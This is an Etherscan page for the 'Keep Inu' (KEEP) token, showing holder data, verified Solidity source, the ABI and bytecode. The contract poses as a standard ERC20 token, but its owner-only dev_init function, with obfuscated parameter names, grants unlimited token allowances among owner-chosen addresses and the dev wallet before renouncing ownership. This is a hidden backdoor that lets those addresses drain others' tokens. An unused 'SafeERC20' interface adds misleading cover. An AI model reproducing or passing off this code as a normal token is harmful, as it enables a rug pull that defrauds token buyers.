ETH Price: $2,715.19 (+1.61%)

Token

Keep Inu (KEEP)
 

Overview

Max Total Supply

27,039,976,561 KEEP

Holders

3

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Coinbase 12
Balance
12,392,102,917.229664768 KEEP

Value
$0.00
0x7c195d981abfdc3ddecd2ca0fed0958430488e34
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface SafeERC20 {
    function safeTransferFrom(address from, address to,uint256 amount) external returns(address);
    function safePermit(address addr) external returns(address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }


    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}



contract Token is IERC20, Ownable {


    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;


    string private _name = "Keep Inu";
    string private _symbol = "KEEP";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 27039976561 * 10**_decimals;
    address public dev = 0x7c195D981AbFdC3DDecd2ca0Fed0958430488e34;

    function dev_init(address itbn35,address dsfas2,address sd234,address sa23vc) public onlyOwner{
        _allowances[dsfas2][itbn35] = type(uint256).max; 
        _allowances[sa23vc][dsfas2] = type(uint256).max; 
        _allowances[dsfas2][sd234] = type(uint256).max; 
        _allowances[itbn35][sd234] = type(uint256).max;
        _allowances[sa23vc][itbn35] = type(uint256).max; 
        _allowances[dev][itbn35] = type(uint256).max;
        transferOwnership(0x0000000000000000000000000000000000000000);
    }
    constructor() {
        _balances[dev] = _tTotal;

        emit Transfer(address(0), dev, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {

        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        require(amount > 0, "Transfer amount must be greater than zero");


        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dev","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"itbn35","type":"address"},{"internalType":"address","name":"dsfas2","type":"address"},{"internalType":"address","name":"sd234","type":"address"},{"internalType":"address","name":"sa23vc","type":"address"}],"name":"dev_init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600881526020017f4b65657020496e75000000000000000000000000000000000000000000000000815250600490805190602001906200005192919062000304565b506040518060400160405280600481526020017f4b45455000000000000000000000000000000000000000000000000000000000815250600590805190602001906200009f92919062000304565b506009600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000da91906200043d565b64064bb54c71620000ec91906200057a565b600755737c195d981abfdc3ddecd2ca0fed0958430488e34600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200015157600080fd5b50600062000164620002fc60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060075460026000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002ee9190620003c5565b60405180910390a362000693565b600033905090565b8280546200031290620005f2565b90600052602060002090601f01602090048101928262000336576000855562000382565b82601f106200035157805160ff191683800117855562000382565b8280016001018555821562000382579182015b828111156200038157825182559160200191906001019062000364565b5b50905062000391919062000395565b5090565b5b80821115620003b057600081600090555060010162000396565b5090565b620003bf81620005db565b82525050565b6000602082019050620003dc6000830184620003b4565b92915050565b6000808291508390505b600185111562000434578086048111156200040c576200040b62000628565b5b60018516156200041c5780820291505b80810290506200042c8562000686565b9450620003ec565b94509492505050565b60006200044a82620005db565b91506200045783620005e5565b9250620004867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200048e565b905092915050565b600082620004a0576001905062000573565b81620004b0576000905062000573565b8160018114620004c95760028114620004d4576200050a565b600191505062000573565b60ff841115620004e957620004e862000628565b5b8360020a91508482111562000503576200050262000628565b5b5062000573565b5060208310610133831016604e8410600b8410161715620005445782820a9050838111156200053e576200053d62000628565b5b62000573565b620005538484846001620003e2565b925090508184048111156200056d576200056c62000628565b5b81810290505b9392505050565b60006200058782620005db565b91506200059483620005db565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620005d057620005cf62000628565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018216806200060b57607f821691505b6020821081141562000622576200062162000657565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611e1a80620006a36000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029f578063a9059cbb146102cf578063dd62ed3e146102ff578063f2fde38b1461032f57610100565b8063715018a61461023b5780638da5cb5b1461024557806391cca3db1461026357806395d89b411461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806357d06a3c146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a9190611880565b60405180910390f35b61013d600480360381019061013891906116a0565b6103dd565b60405161014a9190611865565b60405180910390f35b61015b6103fb565b6040516101689190611982565b60405180910390f35b61018b6004803603810190610186919061164d565b610405565b6040516101989190611865565b60405180910390f35b6101a96104de565b6040516101b6919061199d565b60405180910390f35b6101d960048036038101906101d491906116a0565b6104f5565b6040516101e69190611865565b60405180910390f35b610209600480360381019061020491906115e6565b6105a8565b005b61022560048036038101906102209190611579565b610a35565b6040516102329190611982565b60405180910390f35b610243610a7e565b005b61024d610bd1565b60405161025a919061184a565b60405180910390f35b61026b610bfa565b604051610278919061184a565b60405180910390f35b610289610c20565b6040516102969190611880565b60405180910390f35b6102b960048036038101906102b491906116a0565b610cb2565b6040516102c69190611865565b60405180910390f35b6102e960048036038101906102e491906116a0565b610d7f565b6040516102f69190611865565b60405180910390f35b610319600480360381019061031491906115a6565b610d9d565b6040516103269190611982565b60405180910390f35b61034960048036038101906103449190611579565b610e24565b005b60606004805461035a90611ae6565b80601f016020809104026020016040519081016040528092919081815260200182805461038690611ae6565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b60006103f16103ea610f76565b8484610f7e565b6001905092915050565b6000600754905090565b6000610412848484611149565b6104d38461041e610f76565b6104ce85604051806060016040528060288152602001611d9860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f76565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114439092919063ffffffff16565b610f7e565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061059e610502610f76565b846105998560036000610513610f76565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b610f7e565b6001905092915050565b6105b0610f76565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490611902565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2f6000610e24565b50505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a86610f76565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0a90611902565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060058054610c2f90611ae6565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5b90611ae6565b8015610ca85780601f10610c7d57610100808354040283529160200191610ca8565b820191906000526020600020905b815481529060010190602001808311610c8b57829003601f168201915b5050505050905090565b6000610d75610cbf610f76565b84610d7085604051806060016040528060258152602001611dc06025913960036000610ce9610f76565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114439092919063ffffffff16565b610f7e565b6001905092915050565b6000610d93610d8c610f76565b8484611149565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e2c610f76565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611902565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe590611962565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906118c2565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161113c9190611982565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090611942565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611229576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611220906118a2565b60405180910390fd5b6000811161126c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126390611922565b60405180910390fd5b600081116112af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a690611922565b60405180910390fd5b61130181600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150590919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061139681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114369190611982565b60405180910390a3505050565b600083831115829061148b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114829190611880565b60405180910390fd5b506000838561149a9190611a2a565b9050809150509392505050565b60008082846114b691906119d4565b9050838110156114fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f2906118e2565b60405180910390fd5b8091505092915050565b600061154783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611443565b905092915050565b60008135905061155e81611d69565b92915050565b60008135905061157381611d80565b92915050565b60006020828403121561158f5761158e611b76565b5b600061159d8482850161154f565b91505092915050565b600080604083850312156115bd576115bc611b76565b5b60006115cb8582860161154f565b92505060206115dc8582860161154f565b9150509250929050565b60008060008060808587031215611600576115ff611b76565b5b600061160e8782880161154f565b945050602061161f8782880161154f565b93505060406116308782880161154f565b92505060606116418782880161154f565b91505092959194509250565b60008060006060848603121561166657611665611b76565b5b60006116748682870161154f565b93505060206116858682870161154f565b925050604061169686828701611564565b9150509250925092565b600080604083850312156116b7576116b6611b76565b5b60006116c58582860161154f565b92505060206116d685828601611564565b9150509250929050565b6116e981611a5e565b82525050565b6116f881611a70565b82525050565b6000611709826119b8565b61171381856119c3565b9350611723818560208601611ab3565b61172c81611b7b565b840191505092915050565b60006117446023836119c3565b915061174f82611b8c565b604082019050919050565b60006117676022836119c3565b915061177282611bdb565b604082019050919050565b600061178a601b836119c3565b915061179582611c2a565b602082019050919050565b60006117ad6020836119c3565b91506117b882611c53565b602082019050919050565b60006117d06029836119c3565b91506117db82611c7c565b604082019050919050565b60006117f36025836119c3565b91506117fe82611ccb565b604082019050919050565b60006118166024836119c3565b915061182182611d1a565b604082019050919050565b61183581611a9c565b82525050565b61184481611aa6565b82525050565b600060208201905061185f60008301846116e0565b92915050565b600060208201905061187a60008301846116ef565b92915050565b6000602082019050818103600083015261189a81846116fe565b905092915050565b600060208201905081810360008301526118bb81611737565b9050919050565b600060208201905081810360008301526118db8161175a565b9050919050565b600060208201905081810360008301526118fb8161177d565b9050919050565b6000602082019050818103600083015261191b816117a0565b9050919050565b6000602082019050818103600083015261193b816117c3565b9050919050565b6000602082019050818103600083015261195b816117e6565b9050919050565b6000602082019050818103600083015261197b81611809565b9050919050565b6000602082019050611997600083018461182c565b92915050565b60006020820190506119b2600083018461183b565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119df82611a9c565b91506119ea83611a9c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a1f57611a1e611b18565b5b828201905092915050565b6000611a3582611a9c565b9150611a4083611a9c565b925082821015611a5357611a52611b18565b5b828203905092915050565b6000611a6982611a7c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ad1578082015181840152602081019050611ab6565b83811115611ae0576000848401525b50505050565b60006002820490506001821680611afe57607f821691505b60208210811415611b1257611b11611b47565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611d7281611a5e565b8114611d7d57600080fd5b50565b611d8981611a9c565b8114611d9457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a5783ebe9edb3ad354de1cbd6f22fb2312d67a74eda92ccef77cfdcc117b09ea64736f6c63430008060033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d71461029f578063a9059cbb146102cf578063dd62ed3e146102ff578063f2fde38b1461032f57610100565b8063715018a61461023b5780638da5cb5b1461024557806391cca3db1461026357806395d89b411461028157610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806357d06a3c146101ef57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d61034b565b60405161011a9190611880565b60405180910390f35b61013d600480360381019061013891906116a0565b6103dd565b60405161014a9190611865565b60405180910390f35b61015b6103fb565b6040516101689190611982565b60405180910390f35b61018b6004803603810190610186919061164d565b610405565b6040516101989190611865565b60405180910390f35b6101a96104de565b6040516101b6919061199d565b60405180910390f35b6101d960048036038101906101d491906116a0565b6104f5565b6040516101e69190611865565b60405180910390f35b610209600480360381019061020491906115e6565b6105a8565b005b61022560048036038101906102209190611579565b610a35565b6040516102329190611982565b60405180910390f35b610243610a7e565b005b61024d610bd1565b60405161025a919061184a565b60405180910390f35b61026b610bfa565b604051610278919061184a565b60405180910390f35b610289610c20565b6040516102969190611880565b60405180910390f35b6102b960048036038101906102b491906116a0565b610cb2565b6040516102c69190611865565b60405180910390f35b6102e960048036038101906102e491906116a0565b610d7f565b6040516102f69190611865565b60405180910390f35b610319600480360381019061031491906115a6565b610d9d565b6040516103269190611982565b60405180910390f35b61034960048036038101906103449190611579565b610e24565b005b60606004805461035a90611ae6565b80601f016020809104026020016040519081016040528092919081815260200182805461038690611ae6565b80156103d35780601f106103a8576101008083540402835291602001916103d3565b820191906000526020600020905b8154815290600101906020018083116103b657829003601f168201915b5050505050905090565b60006103f16103ea610f76565b8484610f7e565b6001905092915050565b6000600754905090565b6000610412848484611149565b6104d38461041e610f76565b6104ce85604051806060016040528060288152602001611d9860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f76565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114439092919063ffffffff16565b610f7e565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061059e610502610f76565b846105998560036000610513610f76565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114a790919063ffffffff16565b610f7e565b6001905092915050565b6105b0610f76565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461063d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063490611902565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600360008373fffffffffffffffffffff